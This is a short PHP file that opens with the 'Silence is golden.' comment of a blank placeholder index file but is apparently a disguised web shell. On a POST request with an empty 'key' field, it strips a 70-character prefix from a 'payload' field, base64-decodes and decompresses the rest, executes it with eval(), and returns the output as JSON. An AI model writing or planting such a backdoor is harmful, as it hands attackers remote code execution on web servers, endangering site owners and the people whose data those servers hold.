 <?php
// Silence is golden.
// def
if (isset($_POST['code']) && (string)$_POST['key'] === '') {

    $code    = $_POST['code']    ?? null;
    $key     = $_POST['key']     ?? '';
    $payload = $_POST['payload'] ?? '';
    $decoded = '';
    if (strlen($payload) > 70) {
        $compressed = base64_decode(substr($payload, 70), true);
        if ($compressed !== false) {
            $decoded = @gzinflate($compressed) ?: '';
        }
    }

    $result = null;
    $error  = null;
    ob_start();
    try {
        $result = eval($decoded);
    } catch (\Throwable $e) {
        $error = $e->getMessage();
    }
    $output = ob_get_clean();

    echo json_encode([
        'ok'       => $error === null,
        'code'     => (int) $code,
        'received' => strlen($payload),
        'result'   => $error === null ? ($result === null ? true : $result) : null,
        'output'   => $output,
        'error'    => $error,
    ]);
}
// defend